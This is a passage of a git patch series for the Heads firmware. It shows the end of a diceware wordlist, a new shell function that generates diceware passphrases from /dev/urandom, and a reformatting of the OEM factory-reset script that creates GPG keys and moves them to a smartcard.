+6311 umpire +6312 unarmored +6313 unbuttoned +6314 uncle +6315 underwear +6316 unevenness +6321 unflavored +6322 ungloved +6323 unhinge +6324 unicycle +6325 unjustly +6326 unknown +6331 unlocking +6332 unmarked +6333 unnoticed +6334 unopened +6335 unpaved +6336 unquenched +6341 unroll +6342 unscrewing +6343 untied +6344 unusual +6345 unveiled +6346 unwrinkled +6351 unyielding +6352 unzip +6353 upbeat +6354 upcountry +6355 update +6356 upfront +6361 upgrade +6362 upholstery +6363 upkeep +6364 upload +6365 uppercut +6366 upright +6411 upstairs +6412 uptown +6413 upwind +6414 uranium +6415 urban +6416 urchin +6421 urethane +6422 urgent +6423 urologist +6424 username +6425 usher +6426 utensil +6431 utility +6432 utmost +6433 utopia +6434 utterance +6435 vacuum +6436 vagrancy +6441 valuables +6442 vanquished +6443 vaporizer +6444 varied +6445 vaseline +6446 vegetable +6451 vehicle +6452 velcro +6453 vendor +6454 vertebrae +6455 vestibule +6456 veteran +6461 vexingly +6462 vicinity +6463 videogame +6464 viewfinder +6465 vigilante +6466 village +6511 vinegar +6512 violin +6513 viperfish +6514 virus +6515 visor +6516 vitamins +6521 vivacious +6522 vixen +6523 vocalist +6524 vogue +6525 voicemail +6526 volleyball +6531 voucher +6532 voyage +6533 vulnerable +6534 waffle +6535 wagon +6536 wakeup +6541 walrus +6542 wanderer +6543 wasp +6544 water +6545 waving +6546 wheat +6551 whisper +6552 wholesaler +6553 wick +6554 widow +6555 wielder +6556 wifeless +6561 wikipedia +6562 wildcat +6563 windmill +6564 wipeout +6565 wired +6566 wishbone +6611 wizardry +6612 wobbliness +6613 wolverine +6614 womb +6615 woolworker +6616 workbasket +6621 wound +6622 wrangle +6623 wreckage +6624 wristwatch +6625 wrongdoing +6626 xerox +6631 xylophone +6632 yacht +6633 yahoo +6634 yard +6635 yearbook +6636 yesterday +6641 yiddish +6642 yield +6643 yo-yo +6644 yodel +6645 yogurt +6646 yuppie +6651 zealot +6652 zebra +6653 zeppelin +6654 zestfully +6655 zigzagged +6656 zillion +6661 zipping +6662 zirconium +6663 zodiac +6664 zombie +6665 zookeeper +6666 zucchini From 1da511958495c5512758d01cd3a974dfcff10251 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 15 Nov 2024 13:25:43 -0500 Subject: [PATCH 393/619] initrd/etc/functions: add generate_passphrase logic Nothing uses it for the moment, needs to be called from recovery shell: bash, source /etc/functions. generate_passphrase - parses dictionary to check how many dice rolls needed on first entry, defaults to EFF short list v2 (bigger words easier to remember, 4 dices roll instead of 5) - defaults to using initrd/etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt, parametrable - make sure format of dictionary is 'digit word' and fail early otherwise: we expect EFF diceware format dictionaries - enforces max length of 256 chars, parametrable, reduces number of words to fit if not override - enforces default 3 words passphrase, parametrable - enforces captialization of first letter, lowercase parametrable - read multiple bytes from /dev/urandom to fit number of dice rolls Unrelated: uniformize format of file Signed-off-by: Thierry Laurion --- initrd/etc/functions | 162 +++++++++++++++++++++++++++++++++++++++---- 1 file changed, 148 insertions(+), 14 deletions(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index 3c4b092c7..6a89dc60a 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -25,7 +25,10 @@ SINK_LOG() { # last (unterminated) line. Add a line break with echo to ensure we # don't lose any input. Buffer up to one blank line so we can avoid # emitting a final (or only) blank line. - (cat; echo) | while IFS= read -r line; do + ( + cat + echo + ) | while IFS= read -r line; do [[ -n "$haveblank" ]] && DEBUG "$name: " # Emit buffered blank line if [[ -z "$line" ]]; then haveblank=y @@ -129,10 +132,10 @@ TRACE_FUNC() { DEBUG_STACK() { local FRAMES FRAMES="${#FUNCNAME[@]}" - DEBUG "call stack: ($((FRAMES-1)) frames)" + DEBUG "call stack: ($((FRAMES - 1)) frames)" # Don't print DEBUG_STACK itself, start from 1 - for i in $(seq 1 "$((FRAMES-1))"); do - DEBUG "- $((i-1)) - ${BASH_SOURCE[$i]}(${BASH_LINENO[$((i-1))]}): ${FUNCNAME[$i]}" + for i in $(seq 1 "$((FRAMES - 1))"); do + DEBUG "- $((i - 1)) - ${BASH_SOURCE[$i]}(${BASH_LINENO[$((i - 1))]}): ${FUNCNAME[$i]}" done } @@ -248,7 +251,7 @@ device_has_partitions() { # In both cases the output is 5 lines: 3 about device info, 1 empty line # and the 5th will be the table header or the invalid message. local DISK_DATA=$(fdisk -l "$DEVICE") - if echo "$DISK_DATA" | grep -q "doesn't contain a valid partition table" || \ + if echo "$DISK_DATA" | grep -q "doesn't contain a valid partition table" || [ "$(echo "$DISK_DATA" | wc -l)" -eq 5 ]; then # No partition table return 1 @@ -305,9 +308,9 @@ list_usb_storage() { done } -# Prompt for a TPM Owner Password if it is not already cached in /tmp/secret/tpm_owner_password. -# Sets tpm_owner_password variable reused in flow, and cache file used until recovery shell is accessed. -# Tools should optionally accept a TPM password on the command line, since some flows need +# Prompt for a TPM Owner Password if it is not already cached in /tmp/secret/tpm_owner_password. +# Sets tpm_owner_password variable reused in flow, and cache file used until recovery shell is accessed. +# Tools should optionally accept a TPM password on the command line, since some flows need # it multiple times and only one prompt is ideal. prompt_tpm_owner_password() { TRACE_FUNC @@ -327,7 +330,7 @@ prompt_tpm_owner_password() { echo -n "$tpm_owner_password" >/tmp/secret/tpm_owner_password || die "Unable to cache TPM owner_password under /tmp/secret/tpm_owner_password" } -# Prompt for a new TPM Owner Password when resetting the TPM. +# Prompt for a new TPM Owner Password when resetting the TPM. # Returned in tpm_owner_passpword and cached under /tpm/secret/tpm_owner_password # The password must be 1-32 characters and must be entered twice, # the script will loop until this is met. @@ -357,7 +360,7 @@ prompt_new_owner_password() { check_tpm_counter() { TRACE_FUNC - + LABEL=${2:-3135106223} tpm_password="$3" # if the /boot.hashes file already exists, read the TPM counter ID @@ -370,7 +373,7 @@ check_tpm_counter() { -pwdc '' \ -la $LABEL | tee /tmp/counter || - die "Unable to create TPM counter" + die "Unable to create TPM counter" TPM_COUNTER=$(cut -d: -f1 [--number_words|-n ] [--max_length|-m ] [--lowercase|-l]" + echo "Generates a passphrase using a Diceware dictionary." + echo " --dictionary|-d Path to the Diceware dictionary file (defaults to /etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt )." + echo " [--number_words|-n ] Number of words in the passphrase (default: 3)." + echo " [--max_length|-m ] Maximum size of the passphrase (default: 256)." + echo " [--lowercase|-l] Use lowercase words (default: false)." + } + + # Helper subfunction to get a word from the dictionary based on dice rolls + get_word_from_dictionary() { + local rolls="$1" + local dictionary_file="$2" + local word="" + + word=$(grep "^$rolls" "$dictionary_file" | awk '{print $2}') + echo "$word" + } + + # Helper subfunction to generate dice rolls + generate_dice_rolls() { + TRACE_FUNC + local num_rolls="$1" + local rolls="" + local random_bytes + + # Read num_rolls bytes from /dev/urandom in one go + random_bytes=$(dd if=/dev/urandom bs=1 count="$num_rolls" 2>/dev/null | hexdump -e '1/1 "%u\n"') + + # Process each byte to generate a dice roll + while read -r byte; do + roll=$((byte % 6 + 1)) + DEBUG "Randomized dice roll: $roll" + rolls+=$roll + done <<<"$random_bytes" + + DEBUG "Generated dice rolls: $rolls" + echo "$rolls" + } + + TRACE_FUNC + local dictionary_file="/etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt" + local num_words=3 + local max_size=256 + local lowercase=false + + # Parse parameters + while [[ "$#" -gt 0 ]]; do + case "$1" in + --dictionary | -d) + dictionary_file="$2" + shift + ;; + --lowercase | -l) + lowercase=true + ;; + --number_words | -n) + if ! [[ "$2" =~ ^[0-9]+$ ]] || [[ "$2" -le 0 ]]; then + warn "Invalid number of words: $2" + usage_generate_passphrase + return 1 + fi + num_words="$2" + shift + ;; + --max_length | -m) + if ! [[ "$2" =~ ^[0-9]+$ ]] || [[ "$2" -le 0 ]]; then + warn "Invalid maximum size: $2" + usage_generate_passphrase + return 1 + fi + max_size="$2" + shift + ;; + *) + warn "Unknown parameter: $1" + usage_generate_passphrase + return 1 + ;; + esac + shift + done + + # Validate dictionary file + if [[ -z "$dictionary_file" || ! -f "$dictionary_file" ]]; then + warn "Dictionary file not found or not provided: $dictionary_file" + usage_generate_passphrase + return 1 + fi + + local passphrase="" + local word="" + local key="" + local digits=0 + + # Read the number of digits from the first line of the dictionary file + read -r key _ <"$dictionary_file" + + # Validate that the key is composed entirely of digits + if ! [[ $key =~ ^[0-9]+$ ]]; then + echo "Error: Dictionary is not compliant with EFF diceware dictionaries." + echo "The first line of the dictionary should be in the format: " + echo "Example: 11111 word" + exit 1 + fi + + digits=${#key} + DEBUG "Number of digits in dice rolls: $digits" + + for ((i = 0; i < num_words; ++i)); do + key=$(generate_dice_rolls "$digits") + word=$(get_word_from_dictionary "$key" "$dictionary_file") + DEBUG "Retrieved word: $word" + if [[ "$lowercase" == "false" ]]; then + DEBUG "Capitalizing the first letter of the word" + word=${word^} # Capitalize the first letter + fi + passphrase+="$word " + if [[ ${#passphrase} -gt $max_size ]]; then + DEBUG "Passphrase exceeds max size: $max_size, removing last word" + passphrase=${passphrase% *} # Remove the last word if it exceeds max_size + break + fi + done + + echo "$passphrase" + return 0 +} From f8fdfc7b8dbb05b5478223b1cd3a8705a564f5ad Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 17 Nov 2024 14:02:35 -0500 Subject: [PATCH 394/619] WiP initrd/bin/oem-factory-reset: format unification Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 2080 +++++++++++++++++----------------- 1 file changed, 1040 insertions(+), 1040 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 8fa69ca99..533e7252b 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -46,8 +46,8 @@ RSA_KEY_LENGTH=3072 #Override RSA_KEY_LENGTH to 2048 bits for Canokey under qemu testing boards until canokey fixes if [[ "$CONFIG_BOARD_NAME" == qemu-* ]]; then - DEBUG "Overriding RSA_KEY_LENGTH to 2048 bits for Canokey under qemu testing boards" - RSA_KEY_LENGTH=2048 + DEBUG "Overriding RSA_KEY_LENGTH to 2048 bits for Canokey under qemu testing boards" + RSA_KEY_LENGTH=2048 fi GPG_USER_NAME="OEM Key" @@ -60,195 +60,195 @@ SKIP_BOOT="n" die() { - local msg=$1 - if [ -n "$msg" ]; then - echo -e "\n$msg" - fi - kill -s TERM $TOP_PID - exit 1 + local msg=$1 + if [ -n "$msg" ]; then + echo -e "\n$msg" + fi + kill -s TERM $TOP_PID + exit 1 } local_whiptail_error() { - local msg=$1 - if [ "$msg" = "" ]; then - die "whiptail error: An error msg is required" - fi - whiptail_error --msgbox "${msg}\n\n" $HEIGHT $WIDTH --title "Error" + local msg=$1 + if [ "$msg" = "" ]; then + die "whiptail error: An error msg is required" + fi + whiptail_error --msgbox "${msg}\n\n" $HEIGHT $WIDTH --title "Error" } whiptail_error_die() { - local_whiptail_error "$@" - die + local_whiptail_error "$@" + die } mount_boot() { - TRACE_FUNC - # Mount local disk if it is not already mounted. - # Added so that 'o' can be typed early at boot to enter directly into OEM Factory Reset - if ! grep -q /boot /proc/mounts; then - # try to mount if CONFIG_BOOT_DEV exists - if [ -e "$CONFIG_BOOT_DEV" ]; then - mount -o ro $CONFIG_BOOT_DEV /boot || die "Failed to mount $CONFIG_BOOT_DEV. Please change boot device under Configuration > Boot Device" - fi - fi + TRACE_FUNC + # Mount local disk if it is not already mounted. + # Added so that 'o' can be typed early at boot to enter directly into OEM Factory Reset + if ! grep -q /boot /proc/mounts; then + # try to mount if CONFIG_BOOT_DEV exists + if [ -e "$CONFIG_BOOT_DEV" ]; then + mount -o ro $CONFIG_BOOT_DEV /boot || die "Failed to mount $CONFIG_BOOT_DEV. Please change boot device under Configuration > Boot Device" + fi + fi } #Generate a gpg master key: no expiration date, ${RSA_KEY_LENGTH} bits #This key will be used to sign 3 subkeys: encryption, authentication and signing #The master key and subkeys will be copied to backup, and the subkeys moved from memory keyring to the smartcard generate_inmemory_RSA_master_and_subkeys() { - TRACE_FUNC - - echo "Generating GPG RSA ${RSA_KEY_LENGTH} bits master key..." - # Generate GPG master key - { - echo "Key-Type: RSA" # RSA key - echo "Key-Length: ${RSA_KEY_LENGTH}" # RSA key length - echo "Key-Usage: sign" # RSA key usage - echo "Name-Real: ${GPG_USER_NAME}" # User name - echo "Name-Comment: ${GPG_USER_COMMENT}" # User comment - echo "Name-Email: ${GPG_USER_MAIL}" # User email - echo "Expire-Date: 0" # No expiration date - echo "Passphrase: ${ADMIN_PIN}" # Admin PIN - echo "%commit" # Commit changes - } | DO_WITH_DEBUG gpg --expert --batch --command-fd=0 --status-fd=1 --pinentry-mode=loopback --generate-key >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "GPG Key generation failed!\n\n$ERROR" - fi - - echo "Generating GPG RSA ${RSA_KEY_LENGTH} bits signing subkey..." - # Add signing subkey - { - echo addkey # add key in --edit-key mode - echo 4 # RSA (sign only) - echo ${RSA_KEY_LENGTH} # Signing key size set to RSA_KEY_LENGTH - echo 0 # No expiration date - echo ${ADMIN_PIN} # Local keyring admin pin - echo y # confirm - echo save # save changes and commit to keyring - } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "GPG Key signing subkey generation failed!\n\n$ERROR" - fi - - echo "Generating GPG RSA ${RSA_KEY_LENGTH} bits encryption subkey..." - #Add encryption subkey - { - echo addkey # add key in --edit-key mode - echo 6 # RSA (encrypt only) - echo ${RSA_KEY_LENGTH} # Encryption key size set to RSA_KEY_LENGTH - echo 0 # No expiration date - echo ${ADMIN_PIN} # Local keyring admin pin - echo y # confirm - echo save # save changes and commit to keyring - } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "GPG Key encryption subkey generation failed!\n\n$ERROR" - fi - - echo "Generating GPG RSA ${RSA_KEY_LENGTH} bits authentication subkey..." - #Add authentication subkey - { - #Authentication subkey needs gpg in expert mode to select RSA custom mode (8) - # in order to disable encryption and signing capabilities of subkey - # and then enable authentication capability - echo addkey # add key in --edit-key mode - echo 8 # RSA (set your own capabilities) - echo S # disable sign capability - echo E # disable encryption capability - echo A # enable authentication capability - echo Q # Quit - echo ${RSA_KEY_LENGTH} # Authentication key size set to RSA_KEY_LENGTH - echo 0 # No expiration date - echo ${ADMIN_PIN} # Local keyring admin pin - echo y # confirm - echo save # save changes and commit to keyring - } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --expert --edit-key "${GPG_USER_MAIL}" \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "GPG Key authentication subkey generation failed!\n\n$ERROR" - fi + TRACE_FUNC + + echo "Generating GPG RSA ${RSA_KEY_LENGTH} bits master key..." + # Generate GPG master key + { + echo "Key-Type: RSA" # RSA key + echo "Key-Length: ${RSA_KEY_LENGTH}" # RSA key length + echo "Key-Usage: sign" # RSA key usage + echo "Name-Real: ${GPG_USER_NAME}" # User name + echo "Name-Comment: ${GPG_USER_COMMENT}" # User comment + echo "Name-Email: ${GPG_USER_MAIL}" # User email + echo "Expire-Date: 0" # No expiration date + echo "Passphrase: ${ADMIN_PIN}" # Admin PIN + echo "%commit" # Commit changes + } | DO_WITH_DEBUG gpg --expert --batch --command-fd=0 --status-fd=1 --pinentry-mode=loopback --generate-key >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "GPG Key generation failed!\n\n$ERROR" + fi + + echo "Generating GPG RSA ${RSA_KEY_LENGTH} bits signing subkey..." + # Add signing subkey + { + echo addkey # add key in --edit-key mode + echo 4 # RSA (sign only) + echo ${RSA_KEY_LENGTH} # Signing key size set to RSA_KEY_LENGTH + echo 0 # No expiration date + echo ${ADMIN_PIN} # Local keyring admin pin + echo y # confirm + echo save # save changes and commit to keyring + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "GPG Key signing subkey generation failed!\n\n$ERROR" + fi + + echo "Generating GPG RSA ${RSA_KEY_LENGTH} bits encryption subkey..." + #Add encryption subkey + { + echo addkey # add key in --edit-key mode + echo 6 # RSA (encrypt only) + echo ${RSA_KEY_LENGTH} # Encryption key size set to RSA_KEY_LENGTH + echo 0 # No expiration date + echo ${ADMIN_PIN} # Local keyring admin pin + echo y # confirm + echo save # save changes and commit to keyring + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "GPG Key encryption subkey generation failed!\n\n$ERROR" + fi + + echo "Generating GPG RSA ${RSA_KEY_LENGTH} bits authentication subkey..." + #Add authentication subkey + { + #Authentication subkey needs gpg in expert mode to select RSA custom mode (8) + # in order to disable encryption and signing capabilities of subkey + # and then enable authentication capability + echo addkey # add key in --edit-key mode + echo 8 # RSA (set your own capabilities) + echo S # disable sign capability + echo E # disable encryption capability + echo A # enable authentication capability + echo Q # Quit + echo ${RSA_KEY_LENGTH} # Authentication key size set to RSA_KEY_LENGTH + echo 0 # No expiration date + echo ${ADMIN_PIN} # Local keyring admin pin + echo y # confirm + echo save # save changes and commit to keyring + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --expert --edit-key "${GPG_USER_MAIL}" \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "GPG Key authentication subkey generation failed!\n\n$ERROR" + fi } #Generate a gpg master key: no expiration date, p256 key (ECC) #This key will be used to sign 3 subkeys: encryption, authentication and signing #The master key and subkeys will be copied to backup, and the subkeys moved from memory keyring to the smartcard generate_inmemory_p256_master_and_subkeys() { - TRACE_FUNC - - echo "Generating GPG p256 bits master key..." - { - echo "Key-Type: ECDSA" # ECDSA key - echo "Key-Curve: nistp256" # ECDSA key curve - echo "Key-Usage: cert" # ECDSA key usage - echo "Name-Real: ${GPG_USER_NAME}" # User name - echo "Name-Comment: ${GPG_USER_COMMENT}" # User comment - echo "Name-Email: ${GPG_USER_MAIL}" # User email - echo "Passphrase: ${ADMIN_PIN}" # Local keyring admin pin - echo "Expire-Date: 0" # No expiration date - echo "%commit" # Commit changes - } | DO_WITH_DEBUG gpg --expert --batch --command-fd=0 --status-fd=1 --pinentry-mode=loopback --generate-key \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "GPG p256 Key generation failed!\n\n$ERROR" - fi - - #Keep Master key fingerprint for add key calls - MASTER_KEY_FP=$(gpg --list-secret-keys --with-colons | grep fpr | cut -d: -f10) - - echo "Generating GPG nistp256 signing subkey..." - { - echo addkey # add key in --edit-key mode - echo 11 # ECC own set capability - echo Q # sign already present, do not modify - echo 3 # P-256 - echo 0 # No validity/expiration date - echo ${ADMIN_PIN} # Local keyring admin pin - echo save # save changes and commit to keyring - } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR_MSG=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "Failed to add ECC nistp256 signing key to master key\n\n${ERROR_MSG}" - fi - - echo "Generating GPG nistp256 encryption subkey..." - { - echo addkey - echo 12 # ECC own set capability - echo Q # Quit - echo 3 # P-256 - echo 0 # No validity/expiration date - echo ${ADMIN_PIN} # Local keyring admin pin - echo save # save changes and commit to keyring - } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR_MSG=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "Failed to add ECC nistp256 encryption key to master key\n\n${ERROR_MSG}" - fi - - echo "Generating GPG nistp256 authentication subkey..." - { - echo addkey # add key in --edit-key mode - echo 11 # ECC own set capability - echo S # deactivate sign - echo A # activate auth - echo Q # Quit - echo 3 # P-256 - echo 0 # no expiration - echo ${ADMIN_PIN} # Local keyring admin pin - echo save # save changes and commit to keyring - } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR_MSG=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "Failed to add ECC nistp256 authentication key to master key\n\n${ERROR_MSG}" - fi + TRACE_FUNC + + echo "Generating GPG p256 bits master key..." + { + echo "Key-Type: ECDSA" # ECDSA key + echo "Key-Curve: nistp256" # ECDSA key curve + echo "Key-Usage: cert" # ECDSA key usage + echo "Name-Real: ${GPG_USER_NAME}" # User name + echo "Name-Comment: ${GPG_USER_COMMENT}" # User comment + echo "Name-Email: ${GPG_USER_MAIL}" # User email + echo "Passphrase: ${ADMIN_PIN}" # Local keyring admin pin + echo "Expire-Date: 0" # No expiration date + echo "%commit" # Commit changes + } | DO_WITH_DEBUG gpg --expert --batch --command-fd=0 --status-fd=1 --pinentry-mode=loopback --generate-key \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "GPG p256 Key generation failed!\n\n$ERROR" + fi + + #Keep Master key fingerprint for add key calls + MASTER_KEY_FP=$(gpg --list-secret-keys --with-colons | grep fpr | cut -d: -f10) + + echo "Generating GPG nistp256 signing subkey..." + { + echo addkey # add key in --edit-key mode + echo 11 # ECC own set capability + echo Q # sign already present, do not modify + echo 3 # P-256 + echo 0 # No validity/expiration date + echo ${ADMIN_PIN} # Local keyring admin pin + echo save # save changes and commit to keyring + } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR_MSG=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "Failed to add ECC nistp256 signing key to master key\n\n${ERROR_MSG}" + fi + + echo "Generating GPG nistp256 encryption subkey..." + { + echo addkey + echo 12 # ECC own set capability + echo Q # Quit + echo 3 # P-256 + echo 0 # No validity/expiration date + echo ${ADMIN_PIN} # Local keyring admin pin + echo save # save changes and commit to keyring + } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR_MSG=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "Failed to add ECC nistp256 encryption key to master key\n\n${ERROR_MSG}" + fi + + echo "Generating GPG nistp256 authentication subkey..." + { + echo addkey # add key in --edit-key mode + echo 11 # ECC own set capability + echo S # deactivate sign + echo A # activate auth + echo Q # Quit + echo 3 # P-256 + echo 0 # no expiration + echo ${ADMIN_PIN} # Local keyring admin pin + echo save # save changes and commit to keyring + } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR_MSG=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "Failed to add ECC nistp256 authentication key to master key\n\n${ERROR_MSG}" + fi } @@ -259,141 +259,141 @@ generate_inmemory_p256_master_and_subkeys() { # The master key was already used to sign the subkeys, so it is not needed anymore # Delete the master key from the keyring once key to card is done (already backed up on LUKS private partition) keytocard_subkeys_to_smartcard() { - TRACE_FUNC - - #make sure usb ready and USB Security Dongle ready to communicate with - enable_usb - enable_usb_storage - gpg --card-status >/dev/null 2>&1 || die "Error getting GPG card status" - - gpg_key_factory_reset - - echo "Moving subkeys to smartcard..." - { - echo "key 1" #Toggle on Signature key in --edit-key mode on local keyring - echo "keytocard" #Move Signature key to smartcard - echo "1" #Select Signature key key slot on smartcard - echo "${ADMIN_PIN}" #Local keyring Subkey PIN - echo "${ADMIN_PIN_DEF}" #Smartcard Admin PIN - echo "0" #No expiration date - echo "key 1" #Toggle off Signature key - echo "key 2" #Toggle on Encryption key - echo "keytocard" #Move Encryption key to smartcard - echo "2" #Select Encryption key key slot on smartcard - echo "${ADMIN_PIN}" #Local keyring Subkey PIN - echo "${ADMIN_PIN_DEF}" #Smartcard Admin PIN - echo "key 2" #Toggle off Encryption key - echo "key 3" #Toggle on Authentication key - echo "keytocard" #Move Authentication key to smartcard - echo "3" #Select Authentication key slot on smartcard - echo "${ADMIN_PIN}" #Local keyring Subkey PIN - echo "${ADMIN_PIN_DEF}" #Smartcard Admin PIN - echo "key 3" #Toggle off Authentication key - echo "save" #Save changes and commit to keyring - } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "GPG Key moving subkeys to smartcard failed!\n\n$ERROR" - fi - - TRACE_FUNC + TRACE_FUNC + + #make sure usb ready and USB Security Dongle ready to communicate with + enable_usb + enable_usb_storage + gpg --card-status >/dev/null 2>&1 || die "Error getting GPG card status" + + gpg_key_factory_reset + + echo "Moving subkeys to smartcard..." + { + echo "key 1" #Toggle on Signature key in --edit-key mode on local keyring + echo "keytocard" #Move Signature key to smartcard + echo "1" #Select Signature key key slot on smartcard + echo "${ADMIN_PIN}" #Local keyring Subkey PIN + echo "${ADMIN_PIN_DEF}" #Smartcard Admin PIN + echo "0" #No expiration date + echo "key 1" #Toggle off Signature key + echo "key 2" #Toggle on Encryption key + echo "keytocard" #Move Encryption key to smartcard + echo "2" #Select Encryption key key slot on smartcard + echo "${ADMIN_PIN}" #Local keyring Subkey PIN + echo "${ADMIN_PIN_DEF}" #Smartcard Admin PIN + echo "key 2" #Toggle off Encryption key + echo "key 3" #Toggle on Authentication key + echo "keytocard" #Move Authentication key to smartcard + echo "3" #Select Authentication key slot on smartcard + echo "${ADMIN_PIN}" #Local keyring Subkey PIN + echo "${ADMIN_PIN_DEF}" #Smartcard Admin PIN + echo "key 3" #Toggle off Authentication key + echo "save" #Save changes and commit to keyring + } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ + >/tmp/gpg_card_edit_output 2>&1 + if [ $? -ne 0 ]; then + ERROR=$(cat /tmp/gpg_card_edit_output) + whiptail_error_die "GPG Key moving subkeys to smartcard failed!\n\n$ERROR" + fi + + TRACE_FUNC } #Whiptail prompt to insert to be wiped thumb drive prompt_insert_to_be_wiped_thumb_drive() { - TRACE_FUNC - #Whiptail warning about having only desired to be wiped thumb drive inserted - whiptail_warning --title 'WARNING: Please insert the thumb drive to be wiped' \ - --msgbox "The thumb drive will be WIPED next.\n\nPlease connect only the thumb drive to be wiped and disconnect others." 0 80 || - die "Error displaying warning about having only desired to be wiped thumb drive inserted" + TRACE_FUNC + #Whiptail warning about having only desired to be wiped thumb drive inserted + whiptail_warning --title 'WARNING: Please insert the thumb drive to be wiped' \ + --msgbox "The thumb drive will be WIPED next.\n\nPlease connect only the thumb drive to be wiped and disconnect others." 0 80 || + die "Error displaying warning about having only desired to be wiped thumb drive inserted" } #export master key and subkeys to thumbdrive's private LUKS contained partition export_master_key_subkeys_and_revocation_key_to_private_LUKS_container() { - TRACE_FUNC - - #Sanity check on passed arguments - while [ $# -gt 0 ]; do - case "$1" in - --mode) - mode="$2" - shift - shift - ;; - --device) - device="$2" - shift - shift - ;; - --mountpoint) - mountpoint="$2" - shift - shift - ;; - --pass) - pass="${2}" - shift - shift - ;; - *) - die "Error: unknown argument: $1" - ;; - esac - done - - mount-usb --mode "$mode" --device "$device" --mountpoint "$mountpoint" --pass "$pass" || die "Error mounting thumb drive's private partition" - - #Export master key and subkeys to thumb drive - DEBUG "Exporting master key and subkeys to private LUKS container's partition..." - - gpg --export-secret-key --armor --pinentry-mode loopback --passphrase="${pass}" "${GPG_USER_MAIL}" >"$mountpoint"/privkey.sec || - die "Error exporting master key to private LUKS container's partition" - gpg --export-secret-subkeys --armor --pinentry-mode loopback --passphrase="${pass}" "${GPG_USER_MAIL}" >"$mountpoint"/subkeys.sec || - die "Error exporting subkeys to private LUKS container's partition" - #copy whole keyring to thumb drive, including revocation key and trust database - cp -af ~/.gnupg "$mountpoint"/.gnupg || die "Error copying whole keyring to private LUKS container's partition" - #Unmount private LUKS container's mount point - umount "$mountpoint" || die "Error unmounting private LUKS container's mount point" - - TRACE_FUNC + TRACE_FUNC + + #Sanity check on passed 